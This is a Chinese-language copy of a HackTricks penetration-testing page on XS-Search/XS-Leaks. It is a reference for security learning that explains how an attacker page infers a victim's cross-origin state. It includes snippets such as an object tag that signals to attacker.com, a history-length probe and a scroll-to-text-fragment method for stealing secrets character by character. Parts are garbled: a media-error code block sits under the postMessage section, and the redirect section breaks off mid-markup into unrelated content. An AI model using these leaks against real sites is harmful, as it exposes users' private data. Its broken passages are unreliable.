hacktricks/pentesting-web/xs-search.md

40 KiB
Raw Blame History

XS-Search/XS-Leaks

使用Trickest 可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式

基本信息

XS-Search是一种利用侧信道漏洞来提取跨源信息的方法。

参与此攻击的关键组件包括:

  • 易受攻击的Web: 意图提取信息的目标网站。
  • 攻击者的Web: 攻击者创建的恶意网站,受害者访问该网站,托管利用程序。
  • 包含方法: 用于将易受攻击的Web合并到攻击者的Web中的技术例如window.openiframefetch带有href的HTML标签等
  • 泄漏技术: 用于通过包含方法收集的信息来区分易受攻击的Web状态差异的技术。
  • 状态: 攻击者旨在区分易受攻击的Web的两种潜在状态。
  • 可检测差异: 攻击者依赖于推断易受攻击的Web状态的可观察变化。

可检测差异

可以分析几个方面以区分易受攻击的Web的状态

  • 状态码: 区分跨源的各种HTTP响应状态码,如服务器错误、客户端错误或身份验证错误。
  • API使用: 识别页面间Web API的使用揭示跨源页面是否使用特定的JavaScript Web API。
  • 重定向: 检测到导航到不同页面不仅仅是HTTP重定向还包括由JavaScript或HTML触发的导航。
  • 页面内容: 观察HTTP响应主体或页面子资源的变化,例如嵌入帧的数量或图像大小差异。
  • HTTP头: 注意特定HTTP响应头的存在或可能的值包括诸如X-Frame-Options、Content-Disposition和Cross-Origin-Resource-Policy等头。
  • 时间: 注意两种状态之间的一致时间差异。

包含方法

  • HTML元素: HTML提供各种元素用于包含跨源资源如样式表、图像或脚本迫使浏览器请求非HTML资源。可在https://github.com/cure53/HTTPLeaks找到此目的的潜在HTML元素的汇编。
  • 框架: 诸如iframeobjectembed等元素可以直接将HTML资源嵌入到攻击者的页面中。如果页面缺乏框架保护JavaScript可以通过contentWindow属性访问被框架资源的window对象。
  • 弹出窗口: **window.open**方法在新标签页或窗口中打开资源为JavaScript提供一个遵循SOP后与方法和属性交互的窗口句柄。弹出窗口通常用于单点登录绕过目标资源的框架和cookie限制。但是现代浏览器限制弹出窗口的创建到某些用户操作。
  • JavaScript请求: JavaScript允许使用XMLHttpRequestsFetch API直接请求目标资源。这些方法提供对请求的精确控制例如选择是否跟随HTTP重定向。

泄漏技术

  • 事件处理程序: 在XS-Leaks中的一个经典泄漏技术事件处理程序如onloadonerror提供有关资源加载成功或失败的信息。
  • 错误消息: JavaScript异常或特殊错误页面可以直接从错误消息中提供泄漏信息或通过区分错误消息的存在和不存在来提供信息。
  • 全局限制: 浏览器的物理限制,如内存容量或其他强制执行的浏览器限制,可以在达到阈值时发出信号,作为泄漏技术。
  • 全局状态: 可以利用与浏览器的全局状态例如History接口的可检测交互。例如浏览器历史记录中的条目数量可以提供有关跨源页面的线索。
  • 性能API: 此API提供当前页面的性能详细信息,包括文档和加载资源的网络时间,从而推断请求的资源。
  • 可读属性: 一些HTML属性是可跨源读取的,可用作泄漏技术。例如,window.frame.length属性允许JavaScript计算跨源网页中包含的帧数。

XSinator工具和论文

XSinator是一个自动工具用于检查浏览器是否受到其论文中解释的几种已知XS-Leaks的影响:https://xsinator.com/paper.pdf

您可以在https://xsinator.com/ 访问该工具

{% hint style="warning" %} 排除的XS-Leaks: 我们不得不排除依赖服务工作者的XS-Leaks因为它们会干扰XSinator中的其他泄漏。此外我们选择排除依赖特定Web应用程序中的配置错误和漏洞的XS-Leaks。例如跨源资源共享CORS配置错误、postMessage泄漏或跨站脚本。此外我们排除了基于时间的XS-Leaks因为它们经常受到速度慢、嘈杂和不准确的影响。 {% endhint %}


使用Trickest 可以轻松构建和自动化工作流程,由全球最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

基于时间的技术

以下一些技术将使用时间作为检测网页可能状态差异的过程的一部分。在Web浏览器中有不同的测量时间的方法。

时钟: performance.now() API允许开发人员获取高分辨率的时间测量。
攻击者可以滥用大量API来创建隐式时钟Broadcast Channel APIMessage Channel APIrequestAnimationFramesetTimeout、CSS动画等。
更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/clocks

事件处理程序技术

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

代码示例尝试从JS中加载脚本对象,但也可以使用其他标签,如对象、样式表、图像、音频。此外,还可以直接注入标签,并在标签内部声明onloadonerror事件而不是从JS中注入

还有一个无需脚本的攻击版本:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

在这种情况下,如果example.com/404未找到,将加载attacker.com/?error

Onload Timing

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Forced Heavy Task

这种技术与前一种类似,但攻击者还将在答案为正或负时强制执行某些操作以花费相关的时间,并测量该时间。

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

通过利用unloadbeforeunload事件,可以测量获取资源所需的时间。**beforeunload事件在浏览器即将导航到新页面时触发,而unload**事件在实际导航发生时触发。可以计算这两个事件之间的时间差来确定浏览器获取资源所花费的时间。

Sandboxed Frame Timing + onload

观察到,在缺乏框架保护的情况下攻击者可以测量页面及其子资源通过网络加载所需的时间。这种测量通常是可能的因为仅在iframe的onload处理程序在资源加载和JavaScript执行完成后才会触发。为了绕过脚本执行引入的变化性攻击者可能会在<iframe>内使用sandbox属性。包含此属性会限制许多功能特别是JavaScript的执行从而促进主要受网络性能影响的测量。

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • 包含方法Frames
  • 可检测差异:页面内容
  • 更多信息
  • 摘要:如果访问正确内容时页面出现错误,并且访问任何内容时页面加载正确,那么您可以创建一个循环来提取所有信息,而无需测量时间。
  • 代码示例

假设您可以插入包含秘密内容页面一个iframe中。

您可以让受害者搜索包含“flag”的文件,使用一个iframe例如利用CSRF。在iframe内您知道**onload事件至少执行一次**。然后您可以通过仅更改URL中的哈希内容来更改iframe的URL

例如:

  1. URL1www.attacker.com/xssearch#try1
  2. URL2www.attacker.com/xssearch#try2

如果第一个URL成功加载,那么当更改URL的哈希部分时,onload事件将不会再次触发。但是,如果页面在加载时出现某种错误,那么**onload事件将再次触发**。

然后,您可以区分一个正确加载的页面或访问时出现错误的页面。

Javascript执行

  • 包含方法Frames
  • 可检测差异:页面内容
  • 更多信息
  • 摘要:如果页面返回敏感内容,或者用户可以控制的内容。用户可以在负面情况下设置有效的JS代码,并在**<script>标签中加载每次尝试,因此在负面情况下,攻击者的代码执行**,而在肯定情况下不会执行
  • 代码示例

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • 包含方法HTML元素
  • 可检测差异:状态码和标头
  • 更多信息https://xsleaks.dev/docs/attacks/browser-features/corb/
  • 摘要跨源读取阻止CORB是一项安全措施,防止网页加载某些敏感的跨源资源,以防止Spectre等攻击。然而,攻击者可以利用其保护行为。当受CORB保护的响应返回一个带有nosniff2xx状态码的Content-Type时,CORB会剥离响应的主体和标头。观察到这一点的攻击者可以推断状态码(指示成功或错误)和Content-Type(表示是否受CORB保护)的组合,从而导致潜在的信息泄漏。
  • 代码示例

查看更多信息链接以获取有关攻击的更多信息。

onblur

可以在iframe加载页面并使用**#id_value使页面聚焦在iframe的元素上,然后如果触发onblur信号ID元素存在。
您可以使用
portal**标签执行相同的攻击。

postMessage广播

  • 包含方法Frames弹出窗口
  • 可检测差异API使用
  • 更多信息https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • 摘要从postMessage中收集敏感信息或使用postMessages的存在作为一个预言机了解用户在页面中的状态。
  • 代码示例任何监听所有postMessages的代码。

应用程序经常利用postMessage广播在不同源之间进行通信。然而,如果未正确指定targetOrigin参数,此方法可能会无意中暴露敏感信息,允许任何窗口接收消息。此外,接收消息本身可能充当一个预言机;例如,某些消息可能仅发送给已登录的用户。因此,这些消息的存在或不存在可以揭示有关用户状态或身份的信息,例如他们是否已经认证。

```javascript // Code saved here in case it dissapear from the link // Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/ window.addEventListener("load", startup, false); function displayErrorMessage(msg) { document.getElementById("log").innerHTML += msg; }

function startup() { let audioElement = document.getElementById("audio"); // "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3"; document.getElementById("startTest").addEventListener("click", function() { audioElement.src = document.getElementById("testUrl").value; }, false); // Create the event handler var errHandler = function() { let err = this.error; let message = err.message; let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed" // Firefox error.message when the request loads successfully: "Failed to init decoder" if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){ status = "Success"; }else{ status = "Error"; } displayErrorMessage("Status: " + status + " (Error code:" + err.code + " / Error Message: " + err.message + ")
"); }; audioElement.onerror = errHandler; }

### CORS错误

- **包含方法**Fetch API
- **可检测差异**:标头
- **更多信息**[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **摘要**在安全断言SACORS错误消息无意中暴露了重定向请求的完整URL。
- **代码示例**[https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

这种技术使攻击者能够通过利用基于Webkit的浏览器处理CORS请求的方式**提取跨源站点重定向的目标**。具体来说,当向发出基于用户状态的重定向的目标站点发送**启用CORS的请求**,并且浏览器随后拒绝该请求时,错误消息中将披露**重定向目标的完整URL**。这种漏洞不仅会揭示重定向的事实,还会暴露重定向的端点以及可能包含的任何**敏感查询参数**。

### SRI错误

- **包含方法**Fetch API
- **可检测差异**:标头
- **更多信息**[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **摘要**在安全断言SASRI错误消息无意中暴露了重定向请求的完整URL。
- **代码示例**[https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

攻击者可以利用**冗长的错误消息**推断跨源响应的大小。这是由于子资源完整性SRI的机制它使用完整性属性验证从CDN等地方获取的资源是否未被篡改。为了使SRI在跨源资源上工作这些资源必须是**启用CORS的**否则它们不会受到完整性检查。在安全断言SA就像CORS错误XS-Leak一样可以在带有完整性属性的fetch请求失败后捕获错误消息。攻击者可以通过将完整性属性的**虚假哈希值**分配给任何请求来故意**触发此错误**。在SA中由此产生的错误消息无意中揭示了所请求资源的内容长度。这种信息泄漏使攻击者能够辨别响应大小的变化为复杂的XS-Leak攻击铺平了道路。

### CSP违规/检测

- **包含方法**:弹出窗口
- **可检测差异**:状态码
- **更多信息**[https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
- **摘要**如果我们访问的受害者网站只允许CSP中的域名尝试重定向到不同的域名CSP将触发可检测的错误。
- **代码示例**[https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

XS-Leak可以使用CSP检测跨源站点是否被重定向到不同的源。此泄漏可以检测重定向但另外重定向目标的域名也会泄漏。这种攻击的基本思想是**在攻击者站点上允许目标域名**。一旦向目标域名发出请求,它**重定向**到一个跨源域。**CSP阻止**对其的访问,并创建一个**用作泄漏技术的违规报告**。根据浏览器的不同,**此报告可能泄露重定向的目标位置**。\
现代浏览器不会指示重定向到的URL但您仍然可以检测到触发了跨源重定向。
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

帧计数

通过 iframewindow.open 打开的网页中的 帧数 可能有助于识别用户在该页面上的 状态
此外,如果页面始终具有相同数量的帧,持续检查帧数可能有助于识别可能泄露信息的 模式

例如,在 Chrome 中,可以通过 帧计数 检测到 PDF,因为内部使用了 embed。有一些打开 URL 参数可以对内容进行一些控制,如 zoomviewpagetoolbar,在这种情况下,这种技术可能会很有趣。

HTMLElements

通过 HTML 元素泄露信息是网络安全中的一个问题,特别是当基于用户信息生成动态媒体文件或添加水印以更改媒体大小时。攻击者可以利用这一点,通过分析某些 HTML 元素暴露的信息来区分可能的状态。

HTML 元素泄露的信息

  • HTMLMediaElement:此元素显示媒体的 durationbuffered 时间,可以通过其 API 访问。 阅读更多关于 HTMLMediaElement
  • HTMLVideoElement:它公开 videoHeightvideoWidth。在某些浏览器中,还提供了额外的属性,如 webkitVideoDecodedByteCountwebkitAudioDecodedByteCountwebkitDecodedFrameCount,提供了有关媒体内容的更深入信息。 阅读更多关于 HTMLVideoElement
  • getVideoPlaybackQuality():此函数提供有关视频播放质量的详细信息,包括 totalVideoFrames,可以指示处理的视频数据量。 阅读更多关于 getVideoPlaybackQuality()
  • HTMLImageElement:此元素泄露图像的 heightwidth。但是,如果图像无效,则这些属性将返回 0并且 image.decode() 函数将被拒绝,表示未能正确加载图像。 阅读更多关于 HTMLImageElement

CSS 属性

Web 应用程序可能根据用户状态更改 网站样式。攻击者可以使用 HTML 链接元素 在攻击者页面上嵌入跨源 CSS 文件,并将规则应用于攻击者页面。如果页面动态更改这些规则,攻击者可以根据用户状态检测这些差异。
作为一种泄漏技术,攻击者可以使用 window.getComputedStyle 方法来 读取特定 HTML 元素的 CSS 属性。因此,如果已知受影响的元素和属性名称,攻击者可以读取任意 CSS 属性。

CSS 历史

{% hint style="info" %} 根据这里的说法,在无头 Chrome 中这不起作用。 {% endhint %}

CSS :visited 选择器用于在用户先前访问过的 URL 上应用不同的样式。过去,可以使用 getComputedStyle() 方法来识别这些样式差异。然而,现代浏览器已经实施了安全措施,防止此方法揭示链接状态。这些措施包括始终返回计算样式,就像链接已被访问一样,并限制可以使用 :visited 选择器应用的样式。

尽管存在这些限制,仍然可以间接地辨别链接的访问状态。一种技术涉及欺骗用户与受 CSS 影响的区域进行交互,特别是利用 mix-blend-mode 属性。该属性允许元素与其背景混合,根据用户交互可能显示已访问状态。

此外,可以通过利用链接的渲染时间实现无需用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接,这可能导致渲染时出现可测量的时间差异。在 Chromium 缺陷报告中提到了一个概念验证PoC演示了使用多个链接放大时间差异的技术从而通过时间分析使已访问状态可检测。

有关这些属性和方法的更多详细信息,请访问它们的文档页面:

ContentDocument X-Frame 泄漏

在 Chrome 中,如果页面的 X-Frame-Options 标头设置为 "deny" 或 "same-origin" 并作为对象嵌入,将显示错误页面。与 iframe 或其他浏览器不同Chrome 为此对象的 contentDocument 属性返回一个空文档对象(而不是 null)。攻击者可以利用这一点,检测空文档,可能揭示有关用户状态的信息,特别是如果开发人员不一致地设置 X-Frame-Options 标头,经常忽视错误页面。意识到并一致应用安全标头对于防止此类泄漏至关重要。

下载检测

Content-Disposition 标头,特别是 Content-Disposition: attachment,指示浏览器下载内容而不是内联显示。这种行为可用于检测用户是否可以访问触发文件下载的页面。在基于 Chromium 的浏览器中,有一些技术可用于检测此下载行为:

  1. 下载栏监控
  • 当在基于 Chromium 的浏览器中下载文件时,会在浏览器窗口底部出现下载栏。
  • 通过监视窗口高度的变化,攻击者可以推断下载栏的出现,表明已启动下载。
  1. 使用 iframe 进行下载导航
  • 当页面使用 Content-Disposition: attachment 标头触发文件下载时,不会导致导航事件。
  • 通过在 iframe 中加载内容并监视导航事件,可以检查内容设置是否导致文件下载(无导航)。
  1. 不使用 iframe 进行下载导航
  • 与 iframe 技术类似,此方法涉及使用 window.open 而不是 iframe。
  • 监视新打开窗口中的导航事件可以揭示是否触发了文件下载(无导航),或者内容是否内联显示(发生导航)。

在仅允许登录用户触发此类下载的情况下,这些技术可用于间接推断用户的身份验证状态,根据浏览器对下载请求的响应。

分区 HTTP 缓存绕过

{% hint style="warning" %} 这种技术之所以有趣Chrome 现在具有 缓存分区,新打开页面的缓存键是:(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx),但如果我打开一个 ngrok 页面并在其中使用 fetch缓存键将是(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)缓存键不同,因此无法共享缓存。您可以在这里找到更多详细信息:通过分区缓存获得安全性和隐私性
(来自这里的评论) {% endhint %}

如果站点 example.com 包含来自 *.example.com/resource 的资源,则该资源将与直接通过顶级导航请求资源具有相同的缓存键。这是因为缓存键由顶级 eTLD+1 和框架 eTLD+1 组成。

由于访问缓存比加载资源更快,可以尝试更改页面位置并在停止后取消 20 毫秒(例如)后。如果停止后原点发生了变化,则表示资源已被缓存。
或者只需向可能已缓存的页面发送一些 fetch 并测量所需的时间。

手动重定向

使用 AbortController 的 Fetch

使用 _**

<img src=/something loading=lazy >

因此,你可以添加大量的无用字符(例如成千上万个"W")来填充网页,使其在秘密信息之前或之后添加类似于<br><canvas height="1850px"></canvas><br>的内容。
如果,例如,我们的注入出现在标志之前,则图像将会加载,但如果出现在标志之后,标志加上无用字符将阻止其加载(你需要调整添加多少无用字符)。这就是这篇解析中发生的情况。

另一个选择是使用scroll-to-text-fragment(如果允许):

滚动到文本片段

然而,你可以让机器人访问页面,使用类似于

#:~:text=SECR

所以网页将是这样的:https://victim.com/post.html#:~:text=SECR

其中post.html包含攻击者的垃圾字符和延迟加载图像然后机器人的秘密被添加。

这段文本的作用是让机器人访问页面中包含文本SECR的任何文本。由于该文本是秘密,而且它就在图像下方只有在猜测的秘密正确时图像才会加载。因此,您可以通过这种方式逐个字符地窃取秘密

一些利用此漏洞的代码示例:https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

图像延迟加载基于时间

如果无法加载外部图像以指示攻击者图像已加载,另一个选择是尝试多次猜测字符并测量时间。如果加载了图像,所有请求将比未加载图像时花费更长的时间。这就是在此解决方案的写作中使用的方法 在这里总结:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

如果使用jQuery(location.hash),可以通过计时确定某些HTML内容是否存在,这是因为如果选择器main[id='site-main']不匹配,则无需检查其余的选择器

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS注入

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

防御

建议在 https://xsinator.com/paper.pdf 中提供了缓解措施,同时在维基的每个部分 https://xsleaks.dev/ 也有。请查看这些信息以了解如何防范这些技术。

参考资料

从零开始学习AWS黑客技术成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式


使用 Trickest 可以轻松构建和自动化工作流程,使用世界上最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}